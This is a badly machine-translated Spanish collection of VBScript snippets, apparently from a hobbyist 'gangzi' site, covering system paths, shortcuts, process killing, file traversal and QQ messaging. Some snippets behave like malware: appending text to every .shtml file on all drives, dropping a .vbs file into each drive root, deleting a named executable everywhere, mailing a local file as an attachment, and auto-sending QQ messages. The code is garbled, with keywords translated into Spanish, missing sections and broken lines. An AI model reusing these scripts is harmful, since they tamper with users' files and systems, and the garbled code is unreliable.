Buscando código vbs simple
Esta es una colección personal que se te entrega a ti.
1.VBS obtiene la ruta establecida
1.1.VBS obtiene la ruta de instalación del sistema
Código de programa
set WshShell = WScript. CreateObject( "WScript.Shell")
strWinDir = WshShell.ExpandEnvironmentStrings("WinDir")
El código anterior significa que primero definimos esta variable para obtener la ruta de instalación del sistema y luego usamos " amp;strWinDiramp;"Llama a esta variable.
1.2.C: \Ruta de archivos de programa
Código de programa
msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("ProgramFiles")
1.3.C：\Archivos de programa\Ruta de archivos comunes
Código de programa
msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("CommonProgramFiles")
2. Agregue un acceso directo URL al escritorio
Código de programa
set gangzi = WScript.CreateObject("WScript.Shell")
strDesktop = gangzi.SpecialFolders("Desktop")
set oShellLink = gangzi.CreateShortcut(strDesktop amp; "\Internet Explorer.lnk")
oShellLink.TargetPath = ""
oShellLink.Description = "Internet Explorer"
oShellLink.IconLocation = "ProgramFiles\Internet Explorer\iexplore.exe, 0"
oShellLink.Save
3. Agregar URL a favoritos
Código de programa
Const ADMINISTRATIVE_TOOLS = 6
Establecer objShell = CreateObject("Shell.Application")
Establecer objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Establecer objFolderItem = objFolder.Self
Establecer objShell = WScript.CreateObject("WScript.Shell")
strDesktopFld = objFolderItem.Path
Establecer objURLShortcut = objShell.CreateShortcut(strDesktopFld amp; "\小游戏网站.url")
objURLShortcut.TargetPath = "/cdo/configuration/ "
Establecer correo electrónico = CreateObject("CDO.Message")
Email.From = "Send@qq.com"
Email.To = " Recibir @qq.com"
Email.Subject = "Prueba sendmail.vbs"
Email.Textbody = "¡OK!"
Email.AddAttachment " C： \1.txt"
Con correo electrónico.Configuración
on.Fields
.Item(NameSpaceamp; "sendusing") = 2
.Item(NameSpaceamp; "smtpserver") = "smtp.mailserver.com"
.Item(NameSpaceamp; "smtpserverport") = 25
.Item(NameSpaceamp; "smtpauthenticate") = 1
.Item(NameSpaceamp; "sendusername") = " Remitente nombre de usuario"
.Item(NameSpaceamp; "sendpassword") = "Contraseña del remitente"
.Update
Finalizar con
Correo electrónico. Enviar
12.VBS finalizar proceso
Código de programa
strComputer = "."
Establecer objWMIService = GetObject _
("winmgmts：\\" & strComputer & "\root\cimv2")
Establecer colProcessList = objWMIService.ExecQuery _
( "Seleccione * de Win32_Process Donde Nombre = 'Rar.exe'")
Para cada objProcess en colProcessList
objProcess.Terminate()
Siguiente
13. VBS oculto URL de apertura
13.1. Algunos navegadores no pueden ocultarse ni abrirse, pero se abren directamente, lo que es adecuado para usuarios convencionales.
Código de programa
createObject("wscript.shell") .run "iexplore ", vbhide
14.VBS atraviesa el disco duro para eliminar el nombre de archivo especificado (a continuación agregué una función que finaliza el proceso primero y luego lo elimina. Puede eliminarlo si es así no es necesario) )
Código de programa
En caso de error, reanudar siguiente
Dim fPath
strComputer = "."
Establecer objWMIService = GetObject _
("winmgmts：\\" amp; strComputer amp; "\root\cimv2")
Establecer colProcessList = objWMIService.ExecQuery _
("Seleccione * de Win32_Process donde Nombre = 'gangzi.exe'")
Para cada objProcess en colProcessList
objProcess.Terminate()
Siguiente
Establecer objWMIService = GetObject("winmgmts:" _
amp; "{impersonationLevel=impersonate}!\\" amp; strCompute
r amp; "\root\cimv2")
Establecer colDirs = objWMIService. _
ExecQuery("Seleccione * de Win32_Directory donde nombre LIKE 'c:' o nombre LIKE 'd: ' o nombre COMO 'e:' o nombre COMO 'f:' o nombre COMO 'g:' o nombre COMO 'h:' o nombre COMO 'i:'")
Set objFSO = CreateObject( "Scripting.FileSystemObject")
Para cada objDir en colDirs
fPath = objDir.Name amp "\gangzi.exe"
objFSO.DeleteFile(fPath; ), Verdadero
Siguiente
15.VBS obtiene la dirección MAC de la tarjeta de red
Código de programa
Dim mc, mo
Establezca mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
Para cada mes en mc
Si mo.IPEnabled=True entonces
MsgBox "La dirección MAC de la tarjeta de red local es: " amp mo.MacAddress
Salir para
Finalizar si
Siguiente
16.VBS obtiene la dirección de la página de inicio del registro local
Código de programa
Establezca reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")
Página de inicio de MsgBox
17.VBS recorre todos los directorios en todos los discos. y busca todos los archivos .txt y luego agrega una oración al final de todos los archivos txt.
Código de programa
En caso de error Reanudar siguiente
Establecer fso = CreateObject("Scripting.FileSystemObject")
Co = VbCrLf amp; "Al pasar...
"
Para cada i en fso.Drives
Si i.DriveType = 2 entonces
GF fso.GetFolder(i amp; "\")
p>
Finalizar si
Siguiente
Sub GF(fol)
Wh fol
Dim i
Para cada i en fol.SubCarpetas
GF i
Siguiente
End Sub
Sub Wh( fol)
Atenuar i
Para cada i en fol.Files
Si LCase(fso.GetExtensionName(i)) = "shtml" Entonces
fso .OpenTextFile(i, 8, 0).Write Co
End If
Next
End Sub
18. Obtenga todas las letras de unidad de la computadora
Código de programa
Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives 'Get todas las unidades de disco de la computadora actual
Para cada objdrive En objdrives 'Recorre el disco
MsgBox objdrive
Siguiente
19.VBS crea directorios raíz para todos los discos de esta máquina Archivo (original de Gangzi)
Código de programa
En caso de error, reanudar siguiente
Set fso=CreateObject("Scripting. FileSystemObject")
Establecer gangzis=fso.Drives 'Obtener todas las unidades de disco de la computadora actual
Para cada gangzi En gangzis 'Recorrer el disco
Establecer TestFile =fso.CreateTextFile(""amp;gangziamp; "\New Folder.vbs", Ture)
TestFile.WriteLine("Por www.gangzi.org")
TestFile. Cerrar
Siguiente
20.VBS recorre toda la máquina para encontrar todos los 123.exe y luego les cambia el nombre a 321.exe
Código de programa
set fs = CreateObject("Scripting. FileSystemObject")
para cada unidad en fs.drives
fstraversal drive.rootfolder
siguiente
sub fstraversal(byval this)
para cada carpeta en this.subcarpetas
carpeta fstraversal
siguiente
establecer archivos = esto.f
iles
para cada archivo en files
si file.name = "123.exe" entonces file.name = "321.exe"
siguiente
end sub
21. VBS escribe código en el portapapeles (déjame explicarte primero, VBS escribe contenido en el portapapeles. Siempre se hace a través del objeto InternetExplorer.Application en Internet, pero la desventaja es que el navegador aparecerá cuando el navegador predeterminado no sea IE, así que me esforcé mucho en encontrar este código para implementarlo)
Código de programa
str=" Esto es lo que desea que se copie la cadena en el portapapeles"
Set ws = wscript.createobject("wscript.shell")
ws.run "mshta vbscript:clipboardData.SetData(" " "" ""text" """" "," """"amp; stramp;"""" ")(close)", 0, true
22. QQ envía mensajes automáticamente (guardar BVS y ejecútelo. Puede ver el efecto. Espero que los expertos puedan sacar inferencias de un ejemplo, el trabajo original de Gangzi)
Código del programa
En caso de error, reanudar a continuación
str="Soy un tonto/qq"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run "mshta vbscript:clipboardData.SetData(" """" "text" """" "," """"stramp;"""" ")(close)",0
WshShell.run "tencent://message/? Menú=yesamp;uin=20016964amp;Site =amp;Service=200amp;sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1", 0, verdadero
WScript.Sle ep 3000
WshShell.S claves finales "^v"
WshShell.SendKeys "s"
23.VBS archivos ocultos
Código de programa
Set objFSO = CreateObject("Scripting.FileSystemObject ")
Establecer objFile = objFSO.GetFile("F:\Software Competition\show.txt")
Si objFile.Attributes = objFile.Attributes AND 2 Entonces
objFile.Attributes = objFile.Attributes XOR 2
End If
24.VBS genera números aleatorios (521 es la regla de generación, diferentes números tienen diferentes reglas de generación y pueden ser utilizado para otros fines)
Código de programa
Aleatorio 521
point=Array(Int(100*Rnd 1), Int(1000*Rnd 1), internacional
(10000*Rnd 1))
msgbox join(point, "")
25.VBS elimina el icono de IE del escritorio (no el acceso directo)
Código de programa
Establecer oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon", 1, "REG_DWORD "
26.VBS obtiene su propio nombre de archivo
Código de programa
Set fso = CreateObject("Scripting.FileSystemObject")
msgbox WScript.NombreScript